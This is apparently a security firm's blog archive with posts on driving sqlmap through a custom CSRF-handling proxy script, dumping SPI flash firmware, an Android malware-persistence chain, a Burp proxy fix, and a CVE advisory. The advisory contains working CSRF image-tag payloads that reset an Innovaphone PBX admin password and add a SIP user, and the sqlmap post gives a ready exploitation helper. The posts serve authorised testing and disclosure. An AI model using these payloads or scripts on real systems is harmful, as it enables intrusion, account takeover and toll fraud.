Freitag, 24. August 2018

Erweiterte Zustandsverfolgung für SQLMAP


Während eines Red Team Assessments bei eines unserer Kunden stand der Autor des Artikels zuletzt vor einer prinzipiell recht angenehmen Situation: in einer internen Webanwendung konnte er eine SQL Injection identifizieren, die ausnutzbar schien. Die Anwendung war relativ klein und nur für einen eingeschränkten Benutzerkreis zugänglich, aber laut Aussagen interner Dokumentation zusammen mit anderen, größeren Anwendungen für die Verwaltung unternehmenskritischer Daten zuständig. Also ein äußerst interessantes Angriffsziel für jemanden, der genau auf diese Daten aus wäre.

Um nun das Ziel des Tests zu erfüllen und an die sensiblen Daten zu kommen, musste die Schwachstelle ausgenutzt werden. Das beste Tool hierfür ist zweifelsohne sqlmap [1]. Es gab allerdings mehrere Herausforderungen beim Ausnutzen der Schwachstelle für sqlmap: zunächst handelte es sich um eine Second-Order Injection. Das bedeutet, dass man an einer Stelle der Webanwendung den Angriff (Injection) durchführt, aber das mögliche Ergebnis an einer anderen Stelle sieht. Diesen Fall kann sqlmap zum Glück mit `--second-order` noch gut abdecken. Als weiteres Hindernis verwendete die Anwendung CSRF-Tokens die pro Request neu erstellt wurden. Auch das hätte sqlmap noch in den Griff bekommen, mit `--csrf-url`.

Richtig problematisch wird es für sqlmap allerdings, wenn die Anwendung auch noch ihren aktuellen Zustand nachverfolgt und im Falle eines Requests, der vom aktuellen Zustand nicht möglich ist, die Aktion ablehnt. Konkret gesagt musste man in der Anwendung zunächst auf die Unterseite "Neu Hinzufügen" navigieren, damit die SQL Injection durchgeführt werden konnte. Anschließend wurde das Ergebnis der Anfrage in einem separaten Frame (Die Anwendung nutzte tatsächlich noch Framesets) geladen. Jede Einzelne der Anfragen benötigte ein CSRF-Token und zwar genau jenes, welches von der vorherigen Seite im Ablauf zur Verfügung gestellt wurde. Um dann eine neue Anfrage abzusetzen, musste zunächst wieder auf die Startseite navigiert werden (es gab einen Button "zurück"). Hierfür war kein CSRF-Token notwendig.


Wie exploitet man so etwas nun? Es handelte sich um eine boolean-blind SQL Injection, komplett manuelles Ausnutzen wäre also sehr zeitaufwendig geworden. Mit Python die Zustandsverfolgung zu scripten wäre kein Problem, aber die komplette Funktionalität von sqlmap nachzubauen oder neu zu schreiben wäre viel Aufwand gewesen. Also fiel die Wahl auf eine Kombination aus eigenem Script und sqlmap. Sqlmap definiert für individuellen Python-Code, der pro Request ausgeführt werden soll, dass ´--eval´ Flag. Hört sich zunächst passend an, aber wie bekommt man dann das CSRF-Token aus dem ausgeführten Python-Script in den Request der SQL Injection? Und wie bekommt man aus der Antwort auf diesen Request das Token in den Request zur "Second Order"-Seite?

Eine sehr einfache Lösung für das Problem, die vermutlich für jede vergleichbare Situation nützlich ist, ist eine Art Proxy-Anwendung die sich um alle Vor- und Nachbereitungen kümmert. In Python kann in wenigen Zeilen Code ein HTTP-Server aufgesetzt werden, der die Anfrage von sqlmap auf http://localhost:8000/ entgegen nimmt, an die verwundbare Anwendung weiterreicht und das Resultat als HTML ausgibt, um von sqlmap interpretiert zu werden. Das macht der folgende Code:


import BaseHTTPServer

import requests


def inject(val):

    return "<h2>Not implemented yet</h2>" # see below


class InjectionHandler(BaseHTTPServer.BaseHTTPRequestHandler):

    def do_GET(self):

        if not '?payload=' in self.path:

            html = "<form method='GET'><input type='text' name='payload'><input type='submit'></form>"

        else:

            payload = self.path.split('?payload=')[1]

            print("Injecting using payload {}".format(payload))

            html = inject(payload)


        self.send_response(200)

        self.send_header('Content-Type', "text/html")

        self.end_headers()

        self.wfile.write(html)


if __name__ == '__main__':

    server_class = BaseHTTPServer.HTTPServer

    httpd = server_class(('127.0.0.1', 8000), InjectionHandler)

    try:

        httpd.serve_forever()

    except KeyboardInterrupt:

        pass

    httpd.server_close()


```
import BaseHTTPServer
import requests

def inject(val):
    return "<h2>Not implemented yet</h2>" # see below

class InjectionHandler(BaseHTTPServer.BaseHTTPRequestHandler):
    def do_GET(self):
        if not '?payload=' in self.path:
            html = "<form method='GET'><input type='text' name='payload'><input type='submit'></form>"
        else:
            payload = self.path.split('?payload=')[1]
            print("Injecting using payload {}".format(payload))
            html = inject(payload)

        self.send_response(200)
        self.send_header('Content-Type', "text/html")
        self.end_headers()
        self.wfile.write(html)

if __name__ == '__main__':
    server_class = BaseHTTPServer.HTTPServer
    httpd = server_class(('127.0.0.1', 8000), InjectionHandler)
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass
    httpd.server_close()

```

Startet man sqlmap nun mit folgenden Parametern, bekommt die `inject()` Methode bei jedem Request von sqlmap eine Anfrage mit den Daten die injiziert werden sollen.

```sqlmap -u "http://127.0.0.1:8000/?payload=*"```

Die `inject()` Methode kümmert sich dann um den ganzen Rest:


import requests


JID = '<INSERT YOUR SESSION ID HERE>'

URL_POST = 'https://some-vuln-webapp.intern/endpoint1'

URL_RESULT = 'https://some-vuln-webapp.intern/endpoint2'


def get_csrf_token(resp):

        return resp.text.split('name="CSRF" value="')[1].split('"')[0]


def inject(val):

        session = requests.Session()

        session.cookies.update({'JSESSIONID': JID})


        # "Startseite"

        resp = session.post(URL_POST, data={'STATUS': 'HAUPTMENUE'})


        # "Neu Hinzufuegen"

        csrf_token = get_csrf_token(resp)

        resp = session.post(URL_POST, data={'STATUS': 'HINZUFUEGEN', 'CSRF': csrf_token})


        # Inject!

        csrf_token = get_csrf_token(resp)

        resp = session.post(URL_POST, data={'VULN': val, 'CSRF': csrf_token})


        # Result

        csrf_token = get_csrf_token(resp)

        return session.post(URL_RESULT, {'CSRF': csrf_token}).text.encode('ascii', 'ignore')
```
import requests

JID = '<INSERT YOUR SESSION ID HERE>'
URL_POST = 'https://some-vuln-webapp.intern/endpoint1'
URL_RESULT = 'https://some-vuln-webapp.intern/endpoint2'

def get_csrf_token(resp):
        return resp.text.split('name="CSRF" value="')[1].split('"')[0]

def inject(val):
        session = requests.Session()
        session.cookies.update({'JSESSIONID': JID})

        # "Startseite"
        resp = session.post(URL_POST, data={'STATUS': 'HAUPTMENUE'})

        # "Neu Hinzufuegen"
        csrf_token = get_csrf_token(resp)
        resp = session.post(URL_POST, data={'STATUS': 'HINZUFUEGEN', 'CSRF': csrf_token})

        # Inject!
        csrf_token = get_csrf_token(resp)
        resp = session.post(URL_POST, data={'VULN': val, 'CSRF': csrf_token})

        # Result
        csrf_token = get_csrf_token(resp)
        return session.post(URL_RESULT, {'CSRF': csrf_token}).text.encode('ascii', 'ignore')

```

Das Ganze läuft nur in einem Thread, also für massenhafte Datenextraktion immer noch sehr, sehr langsam - war im konkreten Fall jedoch ausreichend. Anleitungen um einen solchen `BaseHTTPServer` mit Multi-Thread Unterstützung zu implementieren, finden sich aber zu Hauf im Netz.

Mit dem hier beschriebenen Trick sind sqlmap wirklich kaum noch Grenzen gesetzt. Viel Spaß beim nächsten Pentest!


[1] https://github.com/sqlmapproject/sqlmap

Montag, 11. Juni 2018

Dumping SPI Flash Memory of Embedded Devices

Introduction

While auditing the security of embedded devices we often face situations where the firmware of the system under test is either not publicly available or the vendor can’t provide it due to legal issues. Accessing the firmware gives a lot of insight on how the device actually works. Even in assessments, where scope is limited to Web Application Testing only, helpful information can be gathered by having access to the firmware.
This blog post depicts the general approach for retrieving the firmware from such devices by accessing the flash memory chip directly. Please note the provided information in this example is limited to the flash memory chip only, as the tested system cannot be disclosed due to legal constraints.

Accessing the hardware

After opening the housing of an embedded system the initial step is to identify integrated circuits (ICs) that are potential candidates for holding the firmware of the device. As this is highly device-specific the assumption here is that you already have acquired access to the bare PCB.

Identifying the chip

In the following we use the Spansion S25FL128 as an example, which is in broad use for home routers, cable modems and the likes.












 


RTFM (datasheet)

To understand how the integrated circuit communicates the next thing to do is looking up the datasheet. Most vendors provide detailed and freely available information about the package, pinout and protocol used by the chip.

Specification


General

 

Input and Outputs



In case of the Spansion S25FL128 the following information can be gathered from the datasheet:

  • SPI-like interface
  • 16-pin Small Outline package
  • can be powered with 3.3 Volts

Knowing the characteristics of the Spansion S25FL128 we are able to proceed with interfacing the chip in order to access and hopefully read its content.

Circuitry


The Spansion S25Fl128 [2] uses Serial Peripheral Interface bus (SPI), which is a synchronous serial communication interface that is used for short distance communication and often found in embedded systems.

SPI Master and Slave


As we are going to read/dump data from the Spansion S25Fl128 we act as bus master with the flash chip being a SPI slave.


 

In-System Programming

We are going to read the content while the Spansion S25Fl128 is still soldered on the board using a IC test clip such as the Pomona 5252:


















In general it’s recommended to desolder the integrated circuit from the board so that no other component can access it and therefore prevent us from actually dumping the memory. Although we might power other components as well that is a less time-consuming approach and should be tried first.

Pinout (16-pin, Small Outline package)

The following pinout details the bare minimum of mandatory connections (highlighted in red) needed to access the Spansion S25FL128.














As a rule of thumb pay attention to connecting all pins according to the datasheet and leave no pin floating.

SPI connections

In order to dump the content of the chip, we hookup the aforementioned seven pins to the Spansion S25Fl128 using a Raspberry Pi 3 according to the following table:




The Raspberry Pi 3 is a cheap system that supports SPI and even allows us to provide power to the Spansion S25Fl128. Of course you can make use of other dedicated SPI programming devices as well.

Dumping the firmware image


Flashrom

Using flashrom [1] we now try to dump the content of the chip using the SPI device (/dev/spidev0.0) provided by Raspberry Pi 3 as follows:
Note that we stated spispeed=8000 explicitly, which sets the SPI speed in kHz and was found to be the maximum speed the Raspberry Pi 3 can handle although your results may vary. This heavily reduces the amount of time needed to dump the entire flash content.
 
It can be seen from the output above that flashrom fails to identify the integrated circuit unambiguously. As we have identified the specific version in use beforehand we can provide flashrom with the relevant chip identifier using the command-line flag -c: 

 
It is highly recommended to dump the image multiple times to verify that the checksum stays the same, which normally indicates a successful read:

 

Readable Data

A quick look on the acquired firmware image suggests that we have valid data at hand and that this data is unencrypted. Because strings in the dump indicate that uboot is present:






 

Summary

This blog post tried to shed some light on the general approach to access SPI NOR flash memory that often can be found in embedded devices. It might be followed by a complete walkthrough of an analysis in the future.

Resources and Links

[1] https://www.flashrom.org/Flashrom
[2] Spansion S25FL128

Donnerstag, 31. März 2016

Android Apps: From Simple Vulnerabilities to Permanent Malware Infection

Introduction

Many people underestimate the possibilities a remote attacker has who managed to exploit a remote code execution vulnerability on Android devices.

On Windows systems, it is widely accepted that a vulnerability in one software can lead to the compromise of other software and, ultimately, to the infection of the whole system. The same is, in fact, also possible for Android, even though many people believe the attacker would be confined to the vulnerable app's context (in the Android file system and UID/GID sandboxing sense).

In this blog post we will show how a vulnerability in one single app can lead to the permanent (and virtually irreversible) infection of an Android device with malware. To this end we will walk the reader through the single steps that lead from a vulnerability in a third-party browser to full remote control with root provileges of the device and permanent infection with malware.


Outline

The steps are roughly as follows:
  1. The victim of the attack has a vulnerable app with a remote code execution vulnerability installed.
  2. The attacker exploits the vulnerability remotely.
  3. The attacker uploads a root exploit and a malicious app to the victim's smartphone.
  4. The attacker triggers execution of the root exploit.
  5. The root exploit installs the attacker's malware.

Some readers may be thinking now: Wait, this is no rocket science. And you are right, this isn't rocket science! It is a typical sequence of attack steps that lead from initial compromise over privilege escalation to permanent infection. The purpose of this blog post is to show how this can be done in practice by walking the reader through the steps.


The Attack


Step 1: Getting a Foot in the Door

Once in a while remote code execution vulnerabilities pop up in Android apps. They enable an attacker to run their own code in the context of the vulnerable app. A famous recent example for this are the StageFright vulnerabilities. For this blog post however, we will exploit the addJavaScriptInterface vulnerability [1] - one that can be found in some apps that render web content, for example browsers. For this vulnerability to be exploited, the victim only needs to navigate to a website that contains malicious code. This can happen for a number of reasons:
  • The victim opened a malicious link he received via email, instant message, SMS, on a social network...
  • The victim is in a WiFi and subject to a man in the middle attack during which the attacker injects the exploit code into active connections.
  • The attacker manages to deliver exploit code on benign websites through advertising networks.
  • The attacker exploits a vulnerability in a web server to include his own code in the website, e.g. through persistent XSS or SQL injection.
If an attacker manages any of the above, he is able to hijack the vulnerable app's process and execute his own code - for example a remote shell.

For now however, this remote shell will only have the same access the vulnerable app has. Let's change that!


Step 2: Uploading a Root Exploit and Payload

Now that the attacker has a remote shell he can upload files to the vulnerable app's working directory, for example root exploits:




Step 3: Execution of the Root Exploit

Trivially, the attacker can now execute the root exploit to gain root privileges:




Step 4: Infection of the Device

The attacker now has two options to infect the device: A simpler one, which will install the attacker's malware as a regular app (which the victim would be able to uninstall). The second one is a bit more evil: Without rooting their device the victim will be completely incapable of removing the attacker's malware.

The first option is very straightforward. After uploading his malware, the attacker will now issue this command in his root shell:


This will perform a regular app installation.


The second option first remounts the /system partition as writable (usually, it is only readable). Then, it writes the malware to /system/app. This folder contains system and preinstalled apps. Now, the attacker can remount the /system partition as read-only and finally reboot the system, which will trigger an "installation" of the attacker's malware:


Step 5: The End

That's it. The attacker managed to place an app in /system/app silently, without the user noticing. The attacker can thus use almost any Android permissions which exist and the victim will be completely incapable of uninstalling the app. The victim has silently been infected with (almost) unremovable malware which now has widespread privileges on the system. In fact by using the root exploit utilized before, the app can maintain permanent root access.



Of course this whole process can also be automated.

Conclusion

Mobile devices and their vulnerabilities are underestimated, when in fact they can just be as dangerous as typical Windows software vulnerabilities. They exploited and leveraged for permanent, silent infection with malware just like their desktop counterparts.

References

[1] https://www.rapid7.com/db/modules/exploit/android/browser/webview_addjavascriptinterface

Freitag, 19. Juni 2015

Burp and TCP Connection Reuse / TCP Streaming

Recently we were working on an engagement to test a fat client using a web service and ran into a problem with Burp. Surprisingly enough, there was not a single resource on the Internet to help us out. Hoping that others dealing with the same issue won't lose their sanity like we almost did, I am writing this blog post now ;)

We were trying to test a web application, or rather a client application (a binary!) communicating with a web service built on top of an HTTP REST API, with Burp as a transparent/invisible proxy in between. For some completely unknown reason, when Burp was between the client software and the server, the client application just refused to log in.

A comparison of HTTP requests and responses showed no difference at all (except for session cookies set by the server during Step 2 of a 3-step login process). In other words: On application layer (i.e. HTTP), packets and communication were completely identical between client and server, both when connecting through Burp or directly through the Internet. Still, logging in did not work when Burp was active even though HTTP requests and responses were identical.

By accident, when following TCP streams in Wireshark while debugging this problem, we discovered the reason: TCP connection reuse. HTTP 1.1 allows for one TCP connection to be reused for multiple HTTP requests and responses. Burp, however, follows a Store, Modify and Forward model which initiates a new TCP connection for each proxied HTTP request. In other words: A different connection model than what the client application assumed for communication with the server, which assumed one TCP connection for three requests and responses.

The workaround for the problem was activating Streaming Responses in Burp for the target host. Streaming Responses were introduced for a different use case, but still solved our problem. Cf. the following screenshot:


So, in case you ever bump into problems with Burp as a transparent/invisible proxy and can't figure out why, have a look if the application is reusing one TCP connection for many HTTP requests and try activating Streaming Responses in Burp. This allows Burp to deal with TCP connection reuse for multiple HTTP requests/responses.

That's it folks!

Donnerstag, 21. August 2014

[CVE-2014-5335] CSRF in Innovaphone PBX

Innovaphone PBX Admin-GUI CSRF


Impact: High
CVSS2 Score: 7.8 (AV:N/AC:M/Au:S/C:P/I:C/A:C/E:F/RL:U/RC:C)
Announced: August 21, 2014
Reporter: Rainer Giedat (NSIDE ATTACK LOGIC GmbH, http://www.nsideattacklogic.de/)
Products: Innovaphone PBX Administration GUI
Affected Versions: all known versions (tested 10.00 sr11)
CVE-id: CVE-2014-5335

Summary

The innovaphone PBX is a powerful and sophisticated VoIP telephone system for use in professional business environments. In addition to a wide range of IP telephony functionalities, the innovaphone PBX is also equipped with a perfectly integrated Unified Communications solution that can be enabled as needed at any time and at any workspace.

The innovaphone PBX uses a web-based user interface. This UI is vulnerable to cross-site request forgery attacks (CSRF).

Description

The UI does not check if a request was sent originating from a page it delivered before or from an untrusted and potentially malicious source. With a CSRF attack a malicious third party is able to change any configurable items from remote if an administrator is logged in to the user interface and visits a malicious website or clicks a manipulated link under the control of the attacker.

The lack of a logout mechanism and the use of the digest authentication scheme increases the probability of successful exploitation, because the user session will never expire automatically.

Impact

The attacker has full control over the innovaphone PBX and is able to manipulate every configuration item and user account data, as well as passwords. This can lead to the redirection of phone calls, denial of service and toll fraud by adding new SIP endpoints.

Proof on Concept

Visiting a web page including the following HTML image tag will change the administrator’s password of the innovaphone PBX to 'hacked':

<img src="http://<<PBX>>/CMD0/mod_cmd.xml?cmd=form&redirect=mod_cmd.xml%3Fxsl%3Dcommand.xsl&name=&user=admin&password=hacked&password2=hacked&help=&add.user=&add.pwd=&add.pwd2=&add.level=0&add.end=&kdc.realm=&kdc.address1=&kdc.port1=&kdc.adminport1=&kdc.address2=&kdc.port2=&kdc.adminport2=&kdc.end=&op=OK"></img>

Visiting a web page including the following image will add a new SIP user:

<img src="http://<<PBX>>/PBX0/ADMIN/mod_cmd_login.xml?cmd=submit-object&xsl=pbx_edit_user.xsl&tab-active=&guid=&repsrc=&search-grp=&text=&cn=Hans+Dampf&dn=Hans+Dampf&h323=Hans+Dampf&e164=666&email=&pwd=hans&pwd1=hans&node=root&loc=Opfer&fake=&obj-url=&gi=&config=&no-devs=update&dev1.hw=&dev1.text=&dev1.admin=on&dev1.no-filter=on&dev1.reg=on&filter=&cd-filter=&cfnr=&busy-out=&uc=&gw.name=&gw.ipei=&gw.dsp=&gw.ac=&gw.subs=&gw.fc=&gw.cki=&gw.ciph=&gw.end=.&save=Apply"></img>


Solution

Innovaphone recommends to use a dedicated browser only for administration tasks regarding the PBX and close all browser instances when administration is done.
More information can be found on the closed support wiki of innovaphone: http://wiki.innovaphone.com/index.php?title=Support:Protection_against_%22Cross-Site-Request-Forgery%22

This workaround makes sucessful exploitation harder, but an attacker may still be able to use special protocol-handlers to open URLs in different browsers.

No fix will be provided, since the vendor considers this to be a browser problem.


Timeline

2014-22-07    Bug found
2014-28-07    Vendor contact
2014-29-07    Vendor reply
2014-29-07    Technical details provided
2014-13-08    Vendor does not plan to patch for now, but provided a workaround
2014-21-08    Public release